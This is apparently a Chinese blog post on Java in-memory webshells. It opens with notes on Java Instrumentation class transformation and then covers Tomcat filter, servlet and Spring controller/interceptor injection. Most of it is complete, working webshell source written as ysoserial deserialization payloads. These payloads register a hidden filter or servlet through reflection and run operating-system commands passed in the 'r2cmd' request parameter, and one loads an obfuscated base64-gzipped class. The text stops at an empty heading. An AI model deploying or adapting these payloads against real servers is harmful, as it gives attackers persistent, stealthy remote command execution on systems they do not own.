从官方说明可以得知,当一个类最开始被加载或者是重定义的时候,类的字节码会被ClassFileTransformer进行转换。所谓转换,就是修改类的字节码。而retransformClasses函数的作用,就是重新执行一遍转换的过程。

重新转换的过程如下

  1. 从初始的字节码开始,遍历每个transformer
  2. 如果transformer是RetransfomableTransformer,则执行它的transform方法

Instrumentation::redefineClasses

根据函数名,可以大概知道这个函数的作用:重新定义类。与retransformClasses的区别在于,retransformClasses是拿到原来的字节码,然后可以对其进行修改,而redefineClasses是直接给出自定义的字节码。用一个不太恰当的比喻,retransformClasses可以看作是动态代理实现类增强,而redefineClasses则是重新写一个类。

相同点是,无论使用哪个函数,都不能对类的字段、方法签名做修改,更不能添加或删除字段或方法。且无论是redefineClasses还是retransformClasses都不会触发类的初始化操作

ClassFileTransformer

前面在讲Instrumentation::retransformClasses方法的时候,就提到了ClassFileTransformer,即class文件转换器。retransformClasses方法功能的实现也是依赖于这个class文件转换器。下面就来看看官方对这个接口的说明

这个接口就一个方法transform

The implementation of this method may transform the supplied class file and return a new replacement class file.

官方说了,实现这个方法可以转换类文件,返回一个新的类文件。

继续看一下具体细节,我们可以通过Instrumentation::addTransformer方法来添加我们自定义的class文件转换器。这个方法的第二个参数用来指明这个转换器是否是Retransformation capable的。

the transformer will be called for every new class definition and every class redefinition. Retransformation capable transformers will also be called on every class retransformation.

转换器在每个新类定义或者是重定义时都会被调用。如果转换器被设置成Retransformation capable,那么在重转换,也就是Instrumentation::retransformClasses方法调用时,转换器也会被调用。

当我们多次调用Instrumentation::addTransformer,添加多个ClassFileTransformer时,就构成了一条转换器链。

对于转换器链上第一个转换器的transform方法的传入参数classfileBuffer,官方做出了解释

  • 当新类定义时,classfileBuffer就等价于传递给defineClass的字节数组
  • 当类重定义时,classfileBuffer就是definitions.getDefinitionClassFile()的返回值
  • 当类重转换时,如果这个类被重定义过,那么classfileBuffer就是最后一次重定义的结果;如果没有重定义过,那么classfileBuffer就是第一次加载时传递给defineClass的字节数组。

前言

所谓内存马,就是运行在内存中的一段后门程序,它在磁盘上没有具体的代码文件,所以相较于普通马来说隐蔽性更高。具体到java内存马来说,java内存马就是jvm中的一些恶意类或者是被寄生的类(原先是正常类,但是后来被植入了恶意代码,通常通过agent植入)。这些类能够在后端处理请求的过程中被调用,从而触发我们的后门代码执行。

java内存马可以分为粗分为两类,一类是agent型,一类是非agent型。除了agent型之外的都可以统称为非agent型,包括servlet型、spring型、以及具体中间件类型等。下面主要介绍servlet、spring和agent类型的内存马。

servlet

使用servlet原生api注入内存马有三种方式,分别对应了servlet的三大组件,即servlet、filter、listener。注意servlet本身也是servlet api的一个组件。通过动态注册这三大组件,以达到在请求处理的流程中的不同时机执行恶意代码的目的。

其实,要想注册三大组件,本身也需要一个恶意代码执行的点,就比如反序列化漏洞造成的恶意代码执行。所以其实是我们先通过恶意代码执行点写入内存马,以后再想执行恶意代码时,可以直接通过内存马来执行,就不再需要构造复杂的payload了。

而servlet中的所有组件当中,filter和listener较为好用,servlet可能会受到拦截器的拦截,无法执行。具体的注册原理请看这篇文章,这里不赘述。

下文提到的servlet类和spring类的内存马都是通过反序列化漏洞来注入的。

filter

在注册filter时,我们执行的恶意代码如下。

这个类本身即是AbstractTranslet的子类,又实现了Filter接口。在注册filter时,可以直接将自身注册。

package ysoserial.payloads.memshell.tomcat;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Arrays;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

public class FilterTomcatShellInject extends AbstractTranslet implements Filter {

    /**
     * webshell命令参数名
     */
    private final String cmdParamName = "r2cmd";
    /**
     * 建议针对相应业务去修改filter过滤的url pattern
     */
    private final static String filterUrlPattern = "/*";
    private final static String filterName = "xxxxx";

    static {
        try {
            javax.servlet.ServletContext servletContext = _getServletContext();
            if (servletContext != null) {
                Class c = Class.forName("org.apache.catalina.core.StandardContext");
                Object standardContext = null;
                //判断是否已有该名字的filter,有则不再添加
                if (servletContext.getFilterRegistration(filterName) == null) {
                    //遍历出标准上下文对象
                    for (; standardContext == null; ) {
                        java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
                        contextField.setAccessible(true);
                        Object o = contextField.get(servletContext);
                        if (o instanceof javax.servlet.ServletContext) {
                            servletContext = (javax.servlet.ServletContext) o;
                        } else if (c.isAssignableFrom(o.getClass())) {
                            standardContext = o;
                        }
                    }
                    if (standardContext != null) {
                        //修改状态,要不然添加不了
                        java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                            .getDeclaredField("state");
                        stateField.setAccessible(true);
                        stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                        //创建一个自定义的Filter马
                        Filter filter = new FilterTomcatShellInject();
                        //添加filter马
                        javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                            .addFilter(filterName, filter);
                        filterRegistration.setInitParameter("encoding", "utf-8");
                        filterRegistration.setAsyncSupported(false);
                        filterRegistration
                            .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                new String[]{"/*"});
                        //状态恢复,要不然服务不可用
                        if (stateField != null) {
                            stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                        }

                        if (standardContext != null) {
                            //生效filter
                            Method filterStartMethod = org.apache.catalina.core.StandardContext.class
                                .getMethod("filterStart");
                            filterStartMethod.setAccessible(true);
                            filterStartMethod.invoke(standardContext, null);

                            Class ccc = null;
                            try {
                                ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                            } catch (Throwable t){}
                            if (ccc == null) {
                                try {
                                    ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                                } catch (Throwable t){}
                            }
                            //把filter插到第一位
                            Method m = c.getMethod("findFilterMaps");
                            Object[] filterMaps = (Object[]) m.invoke(standardContext);
                            Object[] tmpFilterMaps = new Object[filterMaps.length];
                            int index = 1;
                            for (int i = 0; i < filterMaps.length; i++) {
                                Object o = filterMaps[i];
                                m = ccc.getMethod("getFilterName");
                                String name = (String) m.invoke(o);
                                if (name.equalsIgnoreCase(filterName)) {
                                    tmpFilterMaps[0] = o;
                                } else {
                                    tmpFilterMaps[index++] = filterMaps[i];
                                }
                            }
                            for (int i = 0; i < filterMaps.length; i++) {
                                filterMaps[i] = tmpFilterMaps[i];
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static ServletContext _getServletContext()
        throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ServletRequest servletRequest = null;
        /*shell注入,前提需要能拿到request、response等*/
        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
        java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
        f.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) f.get(null);
        //不为空则意味着第一次反序列化的准备工作已成功
        if (threadLocal != null && threadLocal.get() != null) {
            servletRequest = (ServletRequest) threadLocal.get();
        }
        //如果不能去到request,则换一种方式尝试获取

        //spring获取法1
        if (servletRequest == null) {
            try {
                c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                Method m = c.getMethod("getRequestAttributes");
                Object o = m.invoke(null);
                c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                m = c.getMethod("getRequest");
                servletRequest = (ServletRequest) m.invoke(o);
            } catch (Throwable t) {}
        }
        if (servletRequest != null)
            return servletRequest.getServletContext();

        //spring获取法2
        try {
            c = Class.forName("org.springframework.web.context.ContextLoader");
            Method m = c.getMethod("getCurrentWebApplicationContext");
            Object o = m.invoke(null);
            c = Class.forName("org.springframework.web.context.WebApplicationContext");
            m = c.getMethod("getServletContext");
            ServletContext servletContext = (ServletContext) m.invoke(o);
            return servletContext;
        } catch (Throwable t) {}
        return null;
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
        throws TransletException {

    }

    public void init(FilterConfig filterConfig) throws ServletException {

    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
        FilterChain filterChain) throws IOException, ServletException {
        String cmd = servletRequest.getParameter(cmdParamName);
        if(cmd==null&&cmd.trim().length()==0){
            filterChain.doFilter(servletRequest,servletResponse);
            return;
        }
        String[] cmds;
        String osName = System.getProperty("os.name");
        if (osName.startsWith("Mac OS")) {
            cmds = new String[]{"/bin/bash", "-c", cmd};
        } else if (osName.startsWith("Windows")) {
            cmds = new String[]{"cmd.exe", "/c", cmd};
        } else {
            if(new java.io.File("/bin/bash").exists()){
                cmds = new String[]{"/bin/bash", cmd};
            }else{
                cmds = new String[]{"/bin/sh", "-c", cmd};
            }
        }
        System.out.println(Arrays.toString(cmds));
        java.io.PrintWriter out=null;
        try {
            out = servletResponse.getWriter();
            InputStream in = null;
            try{
                in = Runtime.getRuntime().exec(cmds).getInputStream();
            }catch (Exception e){
                System.out.println("2");
//                System.out.println(e);
//                e.printStackTrace(out);
//                out.flush();
            }finally {
                if(in!=null){
                    in.close();
                }
            }
            java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            out.println(output);
        } catch (IOException e) {
        }
//        filterChain.doFilter(servletRequest,servletResponse);
    }

    public void destroy() {

    }
}    

servlet

在注册servlet时,就没那么简单了。因为恶意类本身要继承AbstractTranslet(反序列化gadget需要),而想要成为Servlet又得继承HttpServlet。Java不允许多继承,因此不太好操作。

这里采用的做法是另外定义一个类A去继承HttpServlet,让恶意类B继承AbstractTranslet,然后让B去加载A,实现servlet的注册。

注意,加载时最好将A类的class文件内容转换成一个byte数组来加载,否则可能因为靶机没有这个类导致ClassNotFound Exception

类A

package ysoserial.payloads.memshell.shellcode;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.zip.GZIPOutputStream;

public class TomcatShellServlet extends HttpServlet {
    private final String cmdParamName = "r2cmd";



    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
        servletResponse.setContentType("text/plain;charset=utf-8");
        String cmd = servletRequest.getParameter(cmdParamName);
        String[] cmds;
        String osName = System.getProperty("os.name");
        if (osName.startsWith("Mac OS")) {
            cmds = new String[]{"/bin/bash", "-c", cmd};
        } else if (osName.startsWith("Windows")) {
            cmds = new String[]{"cmd.exe", "/c", cmd};
        } else {
            if(new java.io.File("/bin/bash").exists()){
                cmds = new String[]{"/bin/bash", cmd};
            }else{
                cmds = new String[]{"/bin/sh", "-c", cmd};
            }
        }
        java.io.PrintWriter out=null;
        InputStream in = null,err=null;
        try {
            out = servletResponse.getWriter();
            Process exec = Runtime.getRuntime().exec(cmds);
            in = exec.getInputStream();
            err = exec.getErrorStream();
            java.util.Scanner outputScanner = new java.util.Scanner(in).useDelimiter("\\a");
            java.util.Scanner errScanner = new java.util.Scanner(err).useDelimiter("\\a");
            String output = outputScanner.hasNext() ? outputScanner.next() : "";
            out.println(output);
            String error = errScanner.hasNext() ? errScanner.next() : "";
            out.println(error);
        } catch (IOException e) {
            if(out!=null){
                e.printStackTrace(out);
            }
        }finally {
            if(in!=null){
                try {
                    in.close();
                } catch (IOException e) {
                    e.printStackTrace(out);
                }
            }
        }
    }


    public static void main(String[] args) throws IOException {
        InputStream in = TomcatShellServlet.class.getClassLoader().getResourceAsStream("ysoserial/payloads/memshell/shellcode/TomcatShellServlet.class");
        byte[] bytes = new byte[in.available()];
        in.read(bytes);
        // 将字节压缩下
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        GZIPOutputStream gzipOutputStream=new GZIPOutputStream(byteArrayOutputStream);
        gzipOutputStream.write(bytes);
        gzipOutputStream.close();
        System.out.println(java.util.Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
    }
}

类B

package ysoserial.payloads.memshell.tomcat;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ServletTomcatShellInject extends AbstractTranslet {


    /**
     * 建议针对相应业务去修改filter过滤的url pattern
     */
    private final static String servletUrlPattern = "/r2MemShell";
    private final static String servletName = "r2MemShell";

    static {
        try {
            javax.servlet.ServletContext servletContext = _getServletContext();
            if (servletContext != null) {
                // 如果已有此 servletName 的 Servlet,则不再重复添加
                if (servletContext.getServletRegistration(servletName) == null) {

                    StandardContext o = null;

                    // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                    while (o == null) {
                        Field f = servletContext.getClass().getDeclaredField("context");
                        f.setAccessible(true);
                        Object object = f.get(servletContext);

                        if (object instanceof ServletContext) {
                            servletContext = (ServletContext) object;
                        } else if (object instanceof StandardContext) {
                            o = (StandardContext) object;
                        }
                    }
                    try{
                        Class<HttpServlet> clazz = defineClass();
                        // 创建自定义 Servlet
                        // 使用 Wrapper 封装 Servlet
                        Wrapper wrapper = o.createWrapper();
                        wrapper.setName(servletName);
                        wrapper.setLoadOnStartup(1);
                        wrapper.setServlet(clazz.newInstance());
                        wrapper.setServletClass(clazz.getName());

                        // 向 children 中添加 wrapper
                        o.addChild(wrapper);

                        // 添加 servletMappings
                        o.addServletMappingDecoded(servletUrlPattern, servletName);
                    }catch (Exception e){

                    }

                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static Class<HttpServlet> defineClass() throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException {
        java.lang.ClassLoader classLoader = (java.lang.ClassLoader) Thread.currentThread().getContextClassLoader();
        java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass",new Class[] {byte[].class, int.class, int.class});
        defineClass.setAccessible(true);
        String evalBase64 = "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";
        byte[] evalBytes = java.util.Base64.getDecoder().decode(evalBase64);
        java.io.ByteArrayInputStream byteInputStream = new java.io.ByteArrayInputStream(evalBytes);
        java.io.ByteArrayOutputStream byteOutputStream = new java.io.ByteArrayOutputStream();
        java.util.zip.GZIPInputStream gzipInputStream = new java.util.zip.GZIPInputStream(byteInputStream);
        byte[] buffer = new byte[1024];
        for (int i=-1;(i=gzipInputStream.read(buffer)) >0;){
            byteOutputStream.write(buffer,0,i);
        }
        byte[] bytes = byteOutputStream.toByteArray();
        return (Class<HttpServlet>) defineClass.invoke(classLoader, new Object[] {bytes, 0, bytes.length});
    }



    private static ServletContext _getServletContext() throws Exception{
        ServletRequest servletRequest = null;
        /*shell注入,前提需要能拿到request、response等*/
        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
        java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
        f.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) f.get(null);
        //不为空则意味着第一次反序列化的准备工作已成功
        if (threadLocal != null && threadLocal.get() != null) {
            servletRequest = (ServletRequest) threadLocal.get();
        }
        //如果不能去到request,则换一种方式尝试获取

        //spring获取法1
        if (servletRequest == null) {
            try {
                c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                Method m = c.getMethod("getRequestAttributes");
                Object o = m.invoke(null);
                c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                m = c.getMethod("getRequest");
                servletRequest = (ServletRequest) m.invoke(o);
            } catch (Throwable t) {}
        }
        if (servletRequest != null)
            return servletRequest.getServletContext();

        //spring获取法2
        try {
            c = Class.forName("org.springframework.web.context.ContextLoader");
            Method m = c.getMethod("getCurrentWebApplicationContext");
            Object o = m.invoke(null);
            c = Class.forName("org.springframework.web.context.WebApplicationContext");
            m = c.getMethod("getServletContext");
            ServletContext servletContext = (ServletContext) m.invoke(o);
            return servletContext;
        } catch (Throwable t) {}
        return null;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

listener

listener与filter相同,都是需要实现接口,不再赘述。

spring

controller

以Spring MVC5.3.12来分析

RequestMappingHandlerMapping的afterPropertiesSet方法在这个对象的字段被设置好之后被调用,此时会对@Controller注解标注的类做一些注册操作,会调用MappingRegistry::register方法注册处理器方法。构造内存马的过程也就是模仿RequestMappingHandlerMapping对@Controller和@RequestMapping注解的处理过程,调用MappingRegistry::register方法注册处理器方法。

register:594, AbstractHandlerMethodMapping$MappingRegistry (org.springframework.web.servlet.handler)
registerHandlerMethod:318, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
registerHandlerMethod:350, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
registerHandlerMethod:67, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
lambda$detectHandlerMethods$1:288, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
accept:-1, 765420745 (org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$405)
forEach:684, LinkedHashMap (java.util)
detectHandlerMethods:286, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
processCandidateBean:258, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
initHandlerMethods:217, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:205, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:171, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
invokeInitMethods:1855, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
initializeBean:1792, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:595, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:517, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
lambda$doGetBean$0:323, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 1807623441 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$161)
getSingleton:222, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:321, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:202, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:879, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:878, AbstractApplicationContext (org.springframework.context.support)
refresh:550, AbstractApplicationContext (org.springframework.context.support)
refresh:141, ServletWebServerApplicationContext (org.springframework.boot.web.servlet.context)
refresh:747, SpringApplication (org.springframework.boot)
refreshContext:397, SpringApplication (org.springframework.boot)
run:315, SpringApplication (org.springframework.boot)
run:1226, SpringApplication (org.springframework.boot)
run:1215, SpringApplication (org.springframework.boot)
main:10, MemshellTestApplication (com.zfirm.memshelltest)

兼容性问题

如果想要写一个比较通用的内存马,适用于多个spring版本,那么就不得不考虑版本之间的兼容性问题。兼容性考虑分三个方面:容器、注解映射器、注册方法

容器

容器优先选择child context,这里引用LandGrey师傅的解释

Root Context 与 Child Context

上文展示的四种获得当前代码运行时的上下文环境的方法中,推荐使用后面两种方法获得 Child WebApplicationContext。

这是因为:根据习惯,在很多应用配置中注册Controller 的 component-scan 组件都配置在类似的 dispatcherServlet-servlet.xml 中,而不是全局配置文件 applicationContext.xml 中。

这样就导致 RequestMappingHandlerMapping 的实例 bean 只存在于 Child WebApplicationContext 环境中,而不是 Root WebApplicationContext 中。上文也提到过,Root Context无法访问Child Context中定义的 bean,所以可能会导致 Root WebApplicationContext 获得不了 RequestMappingHandlerMapping 的实例 bean 的情况。

另外,在有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过前两种方法是获取不到Root WebApplicationContext的。

因此,我们在获取容器时,最好使用以下两种方法

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

注解映射器

Spring>=4.2.0: RequestMappingHandlerMapping(AbstractHandlerMethodMapping)
public void registerMapping(T mapping, Object handler, Method method);
protected void registerHandlerMethod(Object handler, Method method, T mapping);
Spring>=3.1: RequestMappingHandlerMapping(AbstractHandlerMethodMapping)

以3.1.0.RELEASE为例

protected void detectHandlerMethods(Object handler);
protected void registerHandlerMethod(Object handler, Method method, T mapping);
Spring<3.1: DefaultAnnotationHandlerMapping (AbstractUrlHandlerMapping)

以3.0.0.RELEASE为例

protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException;

interceptor

springmvc在处理请求时,获取处理器执行链的调用栈如下

getHandlerExecutionChain:477, AbstractHandlerMapping (org.springframework.web.servlet.handler)
getHandler:406, AbstractHandlerMapping (org.springframework.web.servlet.handler)
getHandler:1234, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1016, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:634, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:367, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:860, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1591, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

一开始比较好奇为什么不用配置拦截器拦截的url,看下面这段代码就清晰很多了。我们配置的TestInteceptor不继承于MappedInterceptor,因此无条件加入执行链。

image-20210928164515438

兼容性问题

